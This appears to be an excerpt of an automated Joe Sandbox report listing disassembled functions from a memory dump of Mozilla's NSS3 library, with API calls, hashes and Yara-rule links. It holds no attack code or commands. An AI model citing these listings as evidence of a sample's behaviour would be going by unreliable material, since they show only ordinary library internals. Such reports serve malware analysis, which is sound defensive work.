TlsGetValue.KERNEL32 ref: 6CAB8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CAB8CE5
PR_Unlock.NSS3(?), ref: 6CAB8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CAB8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAB8D93

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction ID: 333fd75123a7f5e4fd05b50d7e7cd15e2461e08fd9abae18f53679a044a7baac
Opcode Fuzzy Hash: d3d6b1fea2dd6dc25ef0b76bf0969ebfa7ffdffbdf610de3da17986c2ba611f9
Instruction Fuzzy Hash: F7312575A01216ABD7009F6CDC4079A7778BF45318F18013AEA1967B50D730A9A4CBC1

Function 6CAB2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CAAE728,?,00000038,?,?,00000000), ref: 6CAB2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CAB2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2E9E
PR_Unlock.NSS3(?), ref: 6CAB2EAB
PR_Unlock.NSS3(?), ref: 6CAB2F0D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction ID: fdd90b0d419d413a605d9c0857a8eaa5a8b5a170345f0de6d7491c095ed0da5b
Opcode Fuzzy Hash: 5308ba36cac2ebde265407b19ffb3a7ca5d1d2dc6f1676e2493ef230505e1237
Instruction Fuzzy Hash: 5531E8B5A00505ABEF016F79EC448BABB79FF45258B088275EC1897B11EB31ECA4C7D1

Function 6CAFCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: f4920e841b9c633c18a89d47c530b980ac7bb760655625f80e227dca45e88de5
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E111C0A5E003045BFB20AA667D41BBBB5EC9F4814DF044039B929D7741FB71DA4E86A1

Function 6CAA8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAA8C1B
EnterCriticalSection.KERNEL32 ref: 6CAA8C34
PL_ArenaAllocate.NSS3 ref: 6CAA8C65
PR_Unlock.NSS3 ref: 6CAA8C9C
PR_Unlock.NSS3 ref: 6CAA8CB6

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Strings

KRAM, xrefs: 6CAA8C8F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction ID: 131131d1bbc41ba5319393f8923cdc4f16d5c06799b56010764dde1fbce3900d
Opcode Fuzzy Hash: 0ec8a79058a583bdd9221a3d1acb30272cd23d5b0922f037e90cab7dcb5eca1f
Instruction Fuzzy Hash: 81219FB1A056519FD700AFB9C484569FBF4FF05304F05896AD8888B701EB35D8CACF82

Function 6CBA2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBA2CA0
PR_ExitMonitor.NSS3 ref: 6CBA2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CBA2CD1
strdup.MOZGLUE(?), ref: 6CBA2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CBA2D27

Strings

Loaded library %s (static lib), xrefs: 6CBA2D22

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction ID: 9a09d6f250a5ec468009de6095d586b37a4e8689ce7f1a065278a6d37418047c
Opcode Fuzzy Hash: b4cc7ee4d16f412c2df3e4de241e82ae79f99e877987e1cd41a0a4e21e0fa4df
Instruction Fuzzy Hash: A91108B5605290AFEB008F66E844A6A77B4EB4531DF08843DD85DC7B41E731D849CBA3

Function 6CA968E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA968FB
EnterCriticalSection.KERNEL32 ref: 6CA96913
PORT_FreeArena_Util.NSS3 ref: 6CA9693E
PR_Unlock.NSS3 ref: 6CA96946
DeleteCriticalSection.KERNEL32 ref: 6CA96951
free.MOZGLUE ref: 6CA9695D
PR_Unlock.NSS3 ref: 6CA96968

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: faaaf4e7fc349928db503bc57f82335ac684e37e9cda499cfea8b7ef20bfae66
Instruction ID: f007e15bba11a260930ae61d949165c702966eea31e594f5a0510df7f7ed1487
Opcode Fuzzy Hash: faaaf4e7fc349928db503bc57f82335ac684e37e9cda499cfea8b7ef20bfae66
Instruction Fuzzy Hash: 9B1137B56147158FDB40AFB8D08956EBBF4FF06648F054968D8A8DB701EB30D498CBD2

Function 6CAF0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B
TlsGetValue.KERNEL32(00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1044
free.MOZGLUE(00000000,?,00000800,6CA8EF74,00000000), ref: 6CAF1064

Strings

security, xrefs: 6CAF1025

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction ID: 7c4aad3f72ac33f5397aa71c553b41a5f27ebdffe50ebe0590775fbdc8a22940
Opcode Fuzzy Hash: 99f42d550cf3970a5fa02d6d417e83c69ecb01414ca96afb2d9050b5503282f5
Instruction Fuzzy Hash: 36012BB1A402909BE7202F3C9C05B6A3A78FF06B99F050115FA2897B51EB70C1D6DBD2

Function 6CBACBE0 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000010), ref: 6CBACBEA
PR_NewLock.NSS3 ref: 6CBACBF9

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewCondVar.NSS3(00000000), ref: 6CBACC05

Part of subcall function 6CA7BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CA821BC), ref: 6CA7BB8C

free.MOZGLUE(00000000), ref: 6CBACC1C
DeleteCriticalSection.KERNEL32(-0000001C), ref: 6CBACC34
free.MOZGLUE(00000000), ref: 6CBACC41
free.MOZGLUE(00000000), ref: 6CBACC47

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: callocfree$CondCriticalDeleteLockSection
String ID:
API String ID: 687540378-0
Opcode ID: 4e8d3d32697387d93916023913689f4d9cbf2726632f8289b7240c784aa53aa6
Instruction ID: 78e3cbd562c7a5f0ee54b9cd00a39303d04ed61a300a4db7934ae51e8f0af7ba
Opcode Fuzzy Hash: 4e8d3d32697387d93916023913689f4d9cbf2726632f8289b7240c784aa53aa6
Instruction Fuzzy Hash: 9CF0C8B27052116BE6107FBDAC4599B3A9CDF49AE9F040434ED89C3B01FA22D415C7F6

Function 6CBAC9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CB21AB6,00000000,?,?,6CB207B9,?), ref: 6CBAC9C6
free.MOZGLUE(?,?,6CB207B9,?), ref: 6CBAC9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CBAC9E5
free.MOZGLUE(?), ref: 6CBAC9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CBAC9F8
free.MOZGLUE(?), ref: 6CBAC9FF
free.MOZGLUE(00000000), ref: 6CBACA0B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 9166520848fc20a885df05010455fd9e93e645b32dd2cb21c8710732db18f27c
Instruction ID: 39fcf173dfc47bd0fd0c58e84bed010e37254f382e768ba20c8c22b81f1e5044
Opcode Fuzzy Hash: 9166520848fc20a885df05010455fd9e93e645b32dd2cb21c8710732db18f27c
Instruction Fuzzy Hash: 7D0162B2600609ABDB40EFB4DC48857BBFCFE4D6A13040526E916C3600D735F455CBE1

Function 6CB32E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB33046

Part of subcall function 6CB1EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB1EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CB07FFB), ref: 6CB3312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB33154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB32E8B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CB1F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CB09BFF,?,00000000,00000000), ref: 6CB1F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CB07FFA), ref: 6CB32EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB3317B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction ID: 3895b1f6dd49d964cf19680e53fb82a73e3e8bd8ef73ed8a55f6c10b8121ddb7
Opcode Fuzzy Hash: 318a6ac525925d3309ca47e654423efa555df43de8a848857231a39d4d9b1422
Instruction Fuzzy Hash: FDA1AD75A002689FDB24CF54CC84BEEB7B5EF49308F048199E94D67741E731A985CF92

Function 6CAEA970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd7a3f2f82a7592464b29be116766123939957a025c1b0a8bf418b5ce0fd40a0
Instruction ID: 1fe82ee3c1bb56e5341d1cf6c545a30150fe6a7a313a5829ab5400b82718b3ba
Opcode Fuzzy Hash: fd7a3f2f82a7592464b29be116766123939957a025c1b0a8bf418b5ce0fd40a0
Instruction Fuzzy Hash: A1912931D082684FCB258E1888913DEBFB79F4E31CF1D81E9D59A9BA01D6318EC59BD1

Function 6CAFED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CAFED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CAFEDCE

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

free.MOZGLUE(00000000,?,?,?,?,6CAFB04F), ref: 6CAFEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CAFEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAFEEFB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction ID: 46523f9e71bdd3726be41f4f66b2d4f2a9ada53d03b48e76c1a22b44b842bdbd
Opcode Fuzzy Hash: f6f3b77fcb316ead307241371bbbc16fa61ca5d98f640f2a7d6ba61ab6c27bb6
Instruction Fuzzy Hash: 1B817EB1A002059FEB14CF59DD80AAB77F5BF88308F18442CF92597B51D735E89ACBA1

Function 6CAFCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

PR_Now.NSS3 ref: 6CAFCD35

Part of subcall function 6CB59DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DC6
Part of subcall function 6CB59DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBA0A27), ref: 6CB59DD1
Part of subcall function 6CB59DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB59DED

Part of subcall function 6CAE6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

PR_GetCurrentThread.NSS3 ref: 6CAFCD54

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Part of subcall function 6CAE7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91CCC,00000000,00000000,?,?), ref: 6CAE729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CAFCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CAFCE2C

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CAFCE40

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

Part of subcall function 6CAFCEE0: PORT_ArenaMark_Util.NSS3(?,6CAFCD93,?), ref: 6CAFCEEE
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CAFCD93,?), ref: 6CAFCEFC
Part of subcall function 6CAFCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CAFCD93,?), ref: 6CAFCF0B
Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CAFCD93,?), ref: 6CAFCF1D

Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF47
Part of subcall function 6CAFCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF67
